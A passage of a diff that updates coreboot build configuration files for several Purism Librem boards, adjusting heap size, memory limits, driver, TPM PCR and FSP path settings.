CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -510,8 +512,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -600,6 +600,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -634,6 +635,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -666,6 +668,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -727,6 +730,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v3.config b/config/coreboot-librem_15v3.config index be69a553c..e1c8c843c 100644 --- a/config/coreboot-librem_15v3.config +++ b/config/coreboot-librem_15v3.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM15_V3=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_SKYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_15v4.config b/config/coreboot-librem_15v4.config index 3e25331d7..547eeea2f 100644 --- a/config/coreboot-librem_15v4.config +++ b/config/coreboot-librem_15v4.config @@ -182,7 +182,6 @@ CONFIG_BOARD_PURISM_LIBREM15_V4=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_SKL=y -CONFIG_HEAP_SIZE=0x80000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" @@ -198,6 +197,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -231,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=120 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="sklkbl" @@ -260,6 +261,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=10 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_SKYLAKE_BASE=y CONFIG_SOC_INTEL_KABYLAKE=y CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y @@ -353,7 +355,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SA_ENABLE_DPR=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y @@ -514,8 +515,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -595,6 +594,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -629,6 +629,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -661,6 +662,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -722,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_l1um_v2.config b/config/coreboot-librem_l1um_v2.config index 4d60e9f7f..72ff041f8 100644 --- a/config/coreboot-librem_l1um_v2.config +++ b/config/coreboot-librem_l1um_v2.config @@ -177,7 +177,6 @@ CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 CONFIG_FSP_TEMP_RAM_SIZE=0x10000 CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_L1UM_V2=y -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 # CONFIG_DRIVERS_IPMI_SUPERMICRO_OEM is not set CONFIG_TPM_MEASURED_BOOT=y @@ -194,6 +193,7 @@ CONFIG_BOARD_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set # CONFIG_COREBOOT_ROMSIZE_KB_16384 is not set +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set CONFIG_COREBOOT_ROMSIZE_KB_32768=y # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=32768 @@ -226,6 +226,7 @@ CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -259,6 +260,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -306,6 +308,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -344,7 +347,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -509,8 +511,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -577,10 +577,6 @@ CONFIG_USE_FSP_NOTIFY_PHASE_READY_TO_BOOT=y CONFIG_USE_FSP_NOTIFY_PHASE_END_OF_FIRMWARE=y # CONFIG_DISPLAY_FSP_TIMESTAMPS is not set CONFIG_INTEL_GMA_ACPI=y -CONFIG_VBT_CBFS_COMPRESSION_LZMA=y -# CONFIG_VBT_CBFS_COMPRESSION_LZ4 is not set -# CONFIG_VBT_CBFS_COMPRESSION_NONE is not set -CONFIG_VBT_CBFS_COMPRESSION_ALGORITHM="lzma" # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y @@ -591,6 +587,7 @@ CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -628,6 +625,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -660,6 +658,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -725,6 +724,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini.config b/config/coreboot-librem_mini.config index 9893f5017..a46f936af 100644 --- a/config/coreboot-librem_mini.config +++ b/config/coreboot-librem_mini.config @@ -152,9 +152,10 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini" CONFIG_HAVE_IFD_BIN=y @@ -184,7 +185,6 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,6 +199,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -230,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -262,6 +264,7 @@ CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -309,6 +312,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -348,7 +352,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_HECI_DISABLE_USING_SMM=y CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -513,8 +516,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -592,6 +593,7 @@ CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_USB_ACPI=y CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -616,6 +618,7 @@ CONFIG_NO_TPM=y CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -647,6 +650,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -709,6 +713,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-librem_mini_v2.config b/config/coreboot-librem_mini_v2.config index e2943e249..28a87a56a 100644 --- a/config/coreboot-librem_mini_v2.config +++ b/config/coreboot-librem_mini_v2.config @@ -152,9 +152,10 @@ CONFIG_DRIVERS_INTEL_WIFI=y CONFIG_IFD_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/flashdescriptor.bin" CONFIG_ME_BIN_PATH="3rdparty/purism-blobs/mainboard/purism/librem_cnl/mini_v2/me.bin" CONFIG_CONSOLE_CBMEM_BUFFER_SIZE=0x20000 +CONFIG_EDK2_BOOT_TIMEOUT=4 CONFIG_CARDBUS_PLUGIN_SUPPORT=y CONFIG_SPI_FLASH_DONT_INCLUDE_ALL_DRIVERS=y -CONFIG_USE_LEGACY_8254_TIMER=y +# CONFIG_USE_LEGACY_8254_TIMER is not set # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Librem Mini v2" CONFIG_HAVE_IFD_BIN=y @@ -184,7 +185,6 @@ CONFIG_BOARD_PURISM_BASEBOARD_LIBREM_CNL=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x360 # CONFIG_ENABLE_EC_UART1 is not set CONFIG_FSP_TEMP_RAM_SIZE=0x10000 -CONFIG_HEAP_SIZE=0x8000 CONFIG_EC_GPE_SCI=0x50 CONFIG_LINUX_COMMAND_LINE="quiet loglevel=2" CONFIG_BOARD_ROMSIZE_KB_16384=y @@ -199,6 +199,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -230,6 +231,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x800 CONFIG_ACPI_BERT_SIZE=0x0 CONFIG_DRIVERS_I2C_DESIGNWARE_CLOCK_MHZ=216 CONFIG_PRERAM_CBFS_CACHE_SIZE=0x4000 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 CONFIG_IFD_CHIPSET="cnl" @@ -244,7 +246,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_GSPI_MAX=3 CONFIG_SOC_INTEL_I2C_DEV_MAX=6 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_M_VAL=0x30 CONFIG_SOC_INTEL_COMMON_LPSS_UART_CLK_N_VAL=0xc35 -CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Include/" +CONFIG_FSP_HEADER_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Include/" CONFIG_FSP_FD_PATH="3rdparty/fsp/CometLakeFspBinPkg/CometLake1/Fsp.fd" CONFIG_INTEL_GMA_BCLV_OFFSET=0xc8258 CONFIG_INTEL_GMA_BCLV_WIDTH=32 @@ -256,13 +258,15 @@ CONFIG_HAVE_PAM0_REGISTER=y CONFIG_PCIEXP_COMMON_CLOCK=y CONFIG_SOC_INTEL_CANNONLAKE_BASE=y CONFIG_SOC_INTEL_COMETLAKE=y -CONFIG_SOC_INTEL_COMETLAKE_1=y +CONFIG_SOC_INTEL_COMETLAKE_1_2=y +CONFIG_FSP_FD_PATH_2="3rdparty/fsp/CometLakeFspBinPkg/CometLake2/Fsp.fd" CONFIG_SOC_INTEL_CANNONLAKE_DEBUG_CONSENT=0 CONFIG_INTEL_TXT_BIOSACM_ALIGNMENT=0x40000 CONFIG_CPU_INTEL_NUM_FIT_ENTRIES=4 CONFIG_SOC_INTEL_GFX_FRAMEBUFFER_OFFSET=0x0 CONFIG_PCIE_LTR_MAX_SNOOP_LATENCY=0x1003 CONFIG_PCIE_LTR_MAX_NO_SNOOP_LATENCY=0x1003 +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_SOC_INTEL_COMMON_BLOCK_P2SB=y CONFIG_FIXED_SMBUS_IO_BASE=0xefa0 CONFIG_CBFS_CACHE_ALIGN=8 @@ -310,6 +314,7 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_ME_SPEC_12=y CONFIG_ME_SPEC=12 CONFIG_CSE_RESET_CLEAR_EC_AP_IDLE_FLAG=y CONFIG_SOC_INTEL_COMMON_BLOCK_DSP=y +CONFIG_SOC_INTEL_COMMON_BLOCK_DTT=y CONFIG_SOC_INTEL_COMMON_BLOCK_FAST_SPI=y CONFIG_FAST_SPI_DISABLE_WRITE_STATUS=y CONFIG_SOC_INTEL_COMMON_BLOCK_GPIO=y @@ -348,7 +353,6 @@ CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_IO_TRAP=y CONFIG_SOC_INTEL_COMMON_BLOCK_SMM_S5_DELAY_MS=0 CONFIG_SOC_INTEL_COMMON_BLOCK_SPI=y CONFIG_SOC_INTEL_COMMON_BLOCK_SA=y -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xe0000000 CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL=y CONFIG_SOC_INTEL_COMMON_BLOCK_THERMAL_PCI_DEV=y CONFIG_SOC_INTEL_COMMON_BLOCK_TIMER=y @@ -514,8 +518,6 @@ CONFIG_PCI_SET_BUS_MASTER_PCI_BRIDGES=y CONFIG_PCI_ALLOW_BUS_MASTER_ANY_DEVICE=y # CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS is not set # CONFIG_PCIEXP_LANE_ERR_STAT_CLEAR is not set -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -558,10 +560,15 